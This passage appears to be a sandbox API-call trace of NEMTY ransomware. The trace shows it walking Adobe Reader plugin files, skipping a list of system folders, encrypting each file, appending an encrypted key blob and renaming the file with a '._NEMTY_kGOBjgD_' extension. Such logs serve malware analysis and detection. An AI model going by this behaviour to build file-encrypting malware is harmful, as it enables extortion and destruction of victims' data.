(lpString1="Flash.CHT", lpString2="RECYCLER") returned -1 [0190.682] lstrcmpiW (lpString1="Flash.CHT", lpString2="BOOTSECT.BAK") returned 1 [0190.682] lstrcmpiW (lpString1="Flash.CHT", lpString2="bootmgr") returned 1 [0190.682] lstrcmpiW (lpString1="Flash.CHT", lpString2="programdata") returned -1 [0190.682] lstrcmpiW (lpString1="Flash.CHT", lpString2="appdata") returned 1 [0190.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHT", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CHT", lpUsedDefaultChar=0x0) returned 9 [0190.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHT", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CHT", lpUsedDefaultChar=0x0) returned 9 [0190.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHT", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CHT", lpUsedDefaultChar=0x0) returned 9 [0190.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHT", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CHT", lpUsedDefaultChar=0x0) returned 9 [0190.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0190.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.682] Sleep (dwMilliseconds=0x5) [0190.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x254eecb0, dwHighDateTime=0x1d561e8)) [0190.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x254eecb0, dwHighDateTime=0x1d561e8)) [0190.692] GetLastError () returned 0x0 [0190.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.692] GetLastError () returned 0x0 [0190.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.693] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.693] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.693] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.693] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="cftV8Oemd8gpQUulPqlLnISmMuxR5U4VoEHPrcwZQXmEgVbgN5Bz2so71gCWKxq9\r\n5dgV/d1rX8Jsr8CS09GoydVO75/dyGIOyRQ2IKOHaah48kU4QJPWAKSItsUNa7e1\r\nBCnsFw8p7XpgpqWXZKcPTsNZmCoWo0t4Rxr1/Ytk2fF/2bz3xPuyfheWmdMydoJo\r\nGBsI/Xd5467/ldLQpHkMfSerblrksleyK6AhzMdS/y67tSQ/2FF9yyd4s6rddjYA\r\nElqTJy8lMdU+877v+n/uv3raOBTzeTYKsajPJjuPI/qiTkGwigTlXuGL7n8Ehfv+\r\nxsWqHXVpvdn7vPt3yrILkA==\r\n", pcchString=0x653e29c) returned 1 [0190.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.694] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.694] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.694] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.696] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.696] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.696] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.696] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.696] CloseHandle (hObject=0x2f0) returned 1 [0190.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.697] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cht._nemty_kgobjgd_")) returned 1 [0190.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.697] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.697] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.DAN", cAlternateFileName="")) returned 1 [0190.697] lstrcmpiW (lpString1="Flash.DAN", lpString2=".") returned 1 [0190.697] lstrcmpiW (lpString1="Flash.DAN", lpString2="..") returned 1 [0190.697] lstrcmpiW (lpString1="Flash.DAN", lpString2="...") returned 1 [0190.697] lstrcmpiW (lpString1="Flash.DAN", lpString2="windows") returned -1 [0190.697] lstrcmpiW (lpString1="Flash.DAN", lpString2="$RECYCLE.BIN") returned 1 [0190.697] lstrcmpiW (lpString1="Flash.DAN", lpString2="rsa") returned -1 [0190.697] lstrcmpiW (lpString1="Flash.DAN", lpString2="NTDETECT.COM") returned -1 [0190.697] lstrcmpiW (lpString1="Flash.DAN", lpString2="ntldr") returned -1 [0190.698] lstrcmpiW (lpString1="Flash.DAN", lpString2="MSDOS.SYS") returned -1 [0190.698] lstrcmpiW (lpString1="Flash.DAN", lpString2="IO.SYS") returned -1 [0190.698] lstrcmpiW (lpString1="Flash.DAN", lpString2="boot.ini") returned 1 [0190.698] lstrcmpiW (lpString1="Flash.DAN", lpString2="boot.ini") returned 1 [0190.698] lstrcmpiW (lpString1="Flash.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0190.698] lstrcmpiW (lpString1="Flash.DAN", lpString2="ntuser.dat") returned -1 [0190.698] lstrcmpiW (lpString1="Flash.DAN", lpString2="desktop.ini") returned 1 [0190.698] lstrcmpiW (lpString1="Flash.DAN", lpString2="CONFIG.SYS") returned 1 [0190.698] lstrcmpiW (lpString1="Flash.DAN", lpString2="RECYCLER") returned -1 [0190.698] lstrcmpiW (lpString1="Flash.DAN", lpString2="BOOTSECT.BAK") returned 1 [0190.698] lstrcmpiW (lpString1="Flash.DAN", lpString2="bootmgr") returned 1 [0190.698] lstrcmpiW (lpString1="Flash.DAN", lpString2="programdata") returned -1 [0190.698] lstrcmpiW (lpString1="Flash.DAN", lpString2="appdata") returned 1 [0190.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DAN", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.DAN", lpUsedDefaultChar=0x0) returned 9 [0190.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DAN", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.DAN", lpUsedDefaultChar=0x0) returned 9 [0190.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DAN", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.DAN", lpUsedDefaultChar=0x0) returned 9 [0190.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.698] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.DAN", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.DAN", lpUsedDefaultChar=0x0) returned 9 [0190.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.698] Sleep (dwMilliseconds=0x5) [0190.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25514e10, dwHighDateTime=0x1d561e8)) [0190.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25514e10, dwHighDateTime=0x1d561e8)) [0190.708] GetLastError () returned 0x0 [0190.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.708] GetLastError () returned 0x0 [0190.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.708] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.708] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.708] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.708] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="9nopHOxgRnjGDQF/wRHwXtYbboB3EAolXrXk8vHO1VR+8IaRM/J5SSL8CHuYDFk9\r\ngGSrgFWTY0XPxIMJfoXkiT6UGwvDqgvj7sfMpCVnlGebstSpIBCIhq4IpRBHtljg\r\nJ6juzrdd8Mvv+D7Go0UbWRQIlt9pxIc74Q3XN+KwHzng6wOwGPW22t0rktfZfUmh\r\njcyHmgZ0KPObXWanS67s8SkvN9V5uJeBhd+nTWcHmrMw/IkruuWv8BW64Z3o8vtQ\r\n5V3/OTBmU2Uc764JWI5utvERZuM0bFz5+YKPU0yybzuauxjSeEOMnTmltRw/+jKg\r\nsGEk1Wq7QpyUdfP8Z7sfeg==\r\n", pcchString=0x653e29c) returned 1 [0190.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.709] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.710] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.710] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.711] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.711] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.711] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.711] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.712] CloseHandle (hObject=0x2f0) returned 1 [0190.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.712] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.dan._nemty_kgobjgd_")) returned 1 [0190.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.713] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.DEU", cAlternateFileName="")) returned 1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2=".") returned 1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="..") returned 1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="...") returned 1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="windows") returned -1 [0190.713] lstrcmpiW (lpString1="Flash.DEU", lpString2="$RECYCLE.BIN") returned 1 